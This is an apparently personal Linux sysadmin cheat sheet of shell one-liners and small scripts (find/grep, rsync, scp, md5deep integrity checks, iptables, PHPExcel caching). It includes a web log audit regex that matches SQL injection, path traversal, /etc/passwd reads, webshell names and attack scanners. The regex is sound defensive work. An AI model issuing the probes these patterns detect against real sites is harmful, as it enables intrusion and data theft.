grep -n -i -E -e 'e[ !-0]*v[ !-0]*a[ !-0]*l[ !-0]*' #注 -e ' ' 里面建议用单引号包含,双引号坑太多,另若正则里面还包含单引号, 就用 [!-0]  这里面就包含很多特殊特号,曲线救国

#关于grep 单引号与双引号区别

grep "$a" file        #引用变量a,查找变量a的值
grep '$a' file        #查找'$a'字符串
grep '\\' file        #查找'\'字符
grep "\\\\" file     #查找'\'字符

# $ " ~ \  在四个字符在双引号中有特殊含义,在单引号中无特殊含义

##xargs find grep 查找关键字 多个文件类型

find /var/log \( -iname "*.php" -o -iname "*.txt" \) -print0 |xargs -i --null grep -n -i -E -e 'select.+from.*HTTP/(1|2)\.' -e 'union.+select.*HTTP/(1|2)\.'  {} #注 -o -a -not  分别表示 or and not 关系  逻辑条件多个时需要 用 \( \) 包含起来

#xargs find grep 查找关键字

find /var/log -iname "*.php" -print0 |xargs -i --null grep -n -i -E -e 'select.+from.*HTTP/(1|2)\.' -e 'union.+select.*HTTP/(1|2)\.'  {}  #注 find的 -print0 和 xargs --null  处理文件名中特殊字符转义用

#查找当前时间到10天之前这段时间内哪些文件被修改了

find /home/ -name "*.php" -mtime -10    #mtime ctime atime 分别表示不同意思

#vbox 桥接报错

#root
modprobe vboxdrv
modprobe vboxnetflt

#对gzexe加密的脚本解密

tail -n +44 abc > a.gz  #44行起是乱码就表示gz数据开始存放的行
gunzip a.gz


#实际解压一个独立安装包文件

tail -n +77 Xmirror3.1.0.3116_ubuntu_x64.bin > new.tar.gz
tar zxvf new.tar.gz     #完成解包操作

#rsync客户端同步文件

rsync -av --bwlimit=1500 iov_read@172.1.0.24:/data/backup/weblog/nginx-common/ /data/rsync/
datestr=$(date +"%Y-%m-%d %H:%k:%M")
echo $datestr >> /opt/rsync/cron.txt

查找各个子文件夹的文件数量

for i in $(ls -d */|awk ‘{print $1}’);do echo $i $(ls “./”$i -lR |wc -l);done

for i in $(ls -d */);do echo $i $(ls $i -lR|wc -l)个 $(du -sh $i|awk ‘{print $1}’);done

for i in $(ls -d */);do echo $i $(ls $i -lR 2>/dev/null|wc -l) $(du -sh $i 2>/dev/null|awk ‘{print $1}’);done |sort -k 2 -nr

得到x-y 行之间的文件内容

awk ‘NR >= -1 && NR <= 2’ /etc/passwd

sed -n ‘5,6p’ /etc/passwd

监控某文件,并提取增量

OLD_IFS="$IFS"
IFS=" "
while watchInfo=`inotifywait -q --format '%e %f' -e modify,create /tmp/test1/db`;do
IFS=" "
watchInfo=($watchInfo)
lines=`wc -l /tmp/test1/db/${watchInfo[1]}`
linesarr=($lines)
offsetinfo=`cat /tmp/offset`
if [ -z "$offsetinfo" ] ; then
        info=`sed -n "1,${linesarr[0]}p" /tmp/test1/db/${watchInfo[1]}`
else
        offsetinfoarr=($offsetinfo)
        startline=$(echo "${offsetinfoarr[0]}+1"|bc)
        info=`sed -n "$startline,${linesarr[0]}p" /tmp/test1/db/${watchInfo[1]}`
fi
echo "${linesarr[0]} ${watchInfo[1]}" > /tmp/offset
echo $info
done
IFS="$OLD_IFS"

1、Bash的陷阱: http://blog.charlee.li/bash-pitfalls/

2、Bash空格的那些事: http://www.igigo.net/post/archives/152

#快速查找修改过的文件 

1 安装md5deep或者hashdeep 推荐md5deep(https://github.com/madscientist42/md5deep)

2 用md5deep创建快照

md5deep -r /tmp/test1/ > /tmp/md54.txt  或者 find  /tmp/test1 -type  f  -print0  |xargs -0 md5sum  > /tmp/md54.txt

3 校验

md5sum -c /tmp/md54.txt
#or
md5sum -c /tmp/md51.txt 2>/dev/null|grep "失败" |awk '{print $1}'

#md5sum校验1

find ./ -type f -print0 | xargs -0 md5sum > ./my.md5
md5sum -c my.md5

#查找近期修改的文件

find $1 -type f -exec stat --format '%Y :%y :%n' "{}" \; |grep -v "wpdatabase"|sort -nr |cut -d: -f2- | head -n 50

#iptables ip段

iptables -A INPUT -m iprange --src-range 192.168.1.2-192.168.1.7  -j DROP
iptables -A INPUT -m iprange --dst-range 192.168.1.2-192.168.1.7  -j DROP

#访问日志安全审计

time grep -n -i -E -e 'select.+from.*HTTP/(1|2)\.' -e 'java\.lang.*HTTP/(1|2)\.' -e '\.\./.*HTTP/(1|2)\.' -e 'information_schema.*HTTP/(1|2)\.' -e 'etc/passwd.*HTTP/(1|2)\.' -e 'xwork\.MethodAccessor.*HTTP/(1|2)\.' -e '/\*!.*\*/.*HTTP/(1|2)\.' -e '%3C(%20)*(iframe|script|body|img|layer|div)%3E.*HTTP/(1|2)\.' -e '(cmd|diy|shell|phpspy|jspspy).*\.jsp.*HTTP/(1|2)\.' -e '(vhost|bbs|hostname|wwwroot|www|site|root|hytop|flashfxp).*\.(rar|zip|tar.gz|gz).*HTTP/(1|2)\.' -e '(attachments|upimg|images|css|uploadfiles|html|uploads|templets|static|template|data|inc|forumdata|upload|includes|cache|avatar).*\.(jsp|php).*HTTP/(1|2)\.' -e '\.(svn|git|htaccess|bash_history|bak|inc|old|mdb|sql|backup|java|class|rar|zip|tar.gz|gz).*HTTP/(1|2)\.' -e '(HTTrack|harvest|audit|dirbuster|pangolin|nmap|sqln|x-scan|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|PycURL|zmeu|BabyKrokodil|netsparker|httperf|bench|appscan)' -e '(cmd|diy|shell|phpspy|jspspy|b374k).*\.php.*HTTP/(1|2)\.'  logs/new.log

#批量解压GZ文件

#!/bin/bash
#paths="/data/etc_nginx_logs/logs"
paths="/data/var_log_nginx/logs"
#savepath="/ungzdata/etc"
savepath="/ungzdata/var"
for i in `cd ${paths} && ls *.gz`
do
echo $i
gunzip -c ${paths}/$i > ${savepath}/$i.log
done

#查找差异 对比

diff --changed-group-format="%>" --unchanged-group-format="" file1 file2

sdiff 1.txt 2.txt  |grep '[<>|]'

vimdiff 1.txt 2.txt

#批量scp

#!/bin/bash

for line in `cat result`
do
if [[ $line =~ "var_log_nginx" ]]
then
scp -r -l 10000 $line scpuser@172.16.20.7:/data/scp/var/
else
scp -r -l 10000 $line scpuser@172.16.20.7:/data/scp/etc/
fi
done
echo "good"

#查看涉及安全的更新

apt-get -s dist-upgrade |grep "^Inst" |grep -i securi 

#生成文件hash file integrity to monitor

import commands
#shell
#for i in {"/etc","/bin","/sbin","/usr/bin","/usr/sbin"};do md5deep -r $i >>/usr/local/file_hashs.txt;done
dirs =["/bin/","/etc/","/sbin/","/usr/bin","/usr/sbin"]
for dir in dirs:
    cmd = "md5deep -r "+dir+" >>/usr/local/file_hashs.txt"
    print cmd
    commands.getstatusoutput(cmd)

phpExcel大数据量情况下导出内存溢出解决

1、将单元格数据序列化后保存在内存中
PHPExcel_CachedObjectStorageFactory::cache_in_memory_serialized;
2、将单元格序列化后再进行Gzip压缩,然后保存在内存中
PHPExcel_CachedObjectStorageFactory::cache_in_memory_gzip;
3、缓存在临时的磁盘文件中,速度可能会慢一些
PHPExcel_CachedObjectStorageFactory::cache_to_discISAM;
4、保存在php://temp
PHPExcel_CachedObjectStorageFactory::cache_to_phpTemp;
5、保存在memcache中

PHPExcel_CachedObjectStorageFactory::cache_to_memcache

注意是加在new PHPExcel() 前面:如下

 require_once APPPATH .'third_party/PHPExcel/PHPExcel.php';   
 $cacheMethod = PHPExcel_CachedObjectStorageFactory::cache_to_phpTemp;
 $cacheSettings = array('memoryCacheSize'=>'16MB');
 PHPExcel_Settings::setCacheStorageMethod($cacheMethod, $cacheSettings);
 $objPHPExcel = new PHPExcel();

Python中将字典 列表格式化成树型结构

#coding=utf-8
__author__ = 'yzy'
import json;
s1 ='{"name":"Peggy","email":"peggy@gmail.com","homepage":"http://www.peggy.com"}'
s2 = '[{"name":"鸟巢","point":{"lat":"39.990","lng":"116.397"},"desc":"奥运会主场 地"},{"name":"北大乒乓球馆","point":{"lat":"39.988","lng":"116.315"},"desc":"乒乓 球比赛场地"},{"name":"北京工人体育场","point": {"lat":"39.930","lng":"116.446"},"desc":"足球比赛场地"}]'
s3='[{"yearMonth": {"month": {"string": "November", "value": "11"}, "year": {"string": "2012", "value": "2012"}}, "reservedMonthList": ["2", "3", "8", "9", "10", "11", "12", "13", "17", "18", "19", "20", "21", "22", "23"]}, {"yearMonth": {"month": {"string": "December", "value": "12"}, "year": {"string": "2012", "value": "2012"}}, "reservedMonthList": ["7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "21", "22", "23", "24", "25", "26", "27", "28", "30", "31"]}]'
s4='{"response_code":"ILLEGAL_ARGUMENT","response_message":"\u5f00\u53d1\u5546ID\u9519\u8bef"}'
target = json.JSONDecoder().decode(s4)
out = json.dumps(target, ensure_ascii=False,indent=1);
print out;